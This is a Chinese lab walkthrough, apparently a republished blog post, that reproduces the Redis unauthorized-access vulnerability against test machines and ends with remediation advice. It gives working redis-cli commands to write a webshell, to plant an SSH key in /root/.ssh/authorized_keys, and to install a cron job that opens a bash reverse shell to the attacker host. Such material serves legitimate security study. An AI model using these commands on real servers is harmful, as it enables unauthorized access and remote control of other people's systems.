zoukankan      html  css  js  c++  java
  • Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现

     

    一、漏洞描述

    Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

    漏洞的产生条件有以下两点:

    (1)    Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

    (2)    没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

    二、漏洞影响版本

    Redis 2.x,3.x,4.x,5.x

    三、漏洞危害

    (1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据

    (2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

    (3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器 

    四、漏洞环境搭建

     靶机:ubuntu 16.04  192.168.10.134

    攻击机:kali 192.168.10.138 

    1、靶机安装redis服务器(redis-server)

    1.1下载redis-4.0.10

    wget http://download.redis.io/releases/redis-4.0.10.tar.gz

       

    1.2、解压,进入源码目录,然后编译(make、make install)

      

       

    1.3启动服务(redis-server)

    1.3.1启动redis服务,注意关闭防火墙,Ubuntu除了iptables机制,还有ufw安全机制

       

    1.3.2启动redis-server服务

      

     1.4查看是否启动了redis-server服务

    ps -ef |grep redis-server

      

    2.kali安装安装redis客户端(redis-cli)

    2.1下载redis-4.0.10

    wget http://download.redis.io/releases/redis-4.0.10.tar.gz

    2.2 解压,编译

      

    2.3测试redis客户端是否安装完成

      

    五、漏洞复现

    1、测试目标靶机是否存在未授权访问,下图说明靶机存在未授权访问,导致信息泄露(注:由于redis-4.0.10版本中配置文件默认已经启用了保护,下面将使用redis-2.8.17)

      

     利用方式1:写入webshell

    利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限

    2、把shell写入到网站根目录下(/var/www/html/)

      

    3、在靶机上查看是否写入了1.php文件

      

     4、浏览器访问http://192.168.10.139/1.php,发现在目标靶机成功写入webshell

      

    5、写入一句话木马

      

     6、菜刀连接, 注:在ubuntu环境测试,菜刀一直解析不到上传的木马

      

    利用方式2:通过写入SSH公钥实现SSH登录

    原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

    7、首先在攻击机(kali)上生成ssh公钥

       

    8、将公钥写入key.txt文件(前后用 换行,避免和redis里其他缓存数据混合)。

    (echo -e " ";cat id_rsa.pub;echo -e " ")>key.txt

      

    9、再把key.txt文件内容写入redis缓冲

    cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub

      

     10.1、设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)

      

    10.2当目标使用过ssh服务之后,就会产生.ssh目录了,然后进行如下操作

       

    11、测试是否可以通过ssh登录目标服务器,成功登录

       

     利用方式3:在crontab里写定时任务,反弹shell

    12、在客户端开启监听(kali攻击机)

      

    13、在客户端(kali攻击机)使用redis-cli连接redis服务器,写入反弹shell

    set xxx " */1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.140/5555 0>&1 "

    config set dir /var/spool/cron

    config set dbfilename root

    save

      

    14、1分钟后客户端这边收到centos的反弹shell,注意:在ubuntu测试计划任务写入成功但不执行

      

     15、在目标靶机(centos)上查看计划任务

       

    六、修复建议

    1、禁止外部访问Redis服务端口

    2、禁止使用root权限启动redis服务

    3、配置安全组,限制可连接Redis服务器的IP

    -------------------------------------------------------------------------

    参考: https://www.freebuf.com/column/158065.html

    https://www.freebuf.com/vuls/148758.html

    redis安装: https://www.jianshu.com/p/2f53c9a4b4c6

     

  • 相关阅读:
    sql知识点记录
    makefile编译错误情况整理
    web worker 简介
    实现跨域访问的方法总结
    fiddler使用指南
    [转]SASS用法指南
    koa文档参考
    [转]html5: postMessage解决跨域和跨页面通信的问题
    [转]JavaScript ES6 class指南
    [转]前端利器:SASS基础与Compass入门
  • 原文地址:https://www.cnblogs.com/yuzly/p/11663822.html
Copyright © 2011-2022 走看看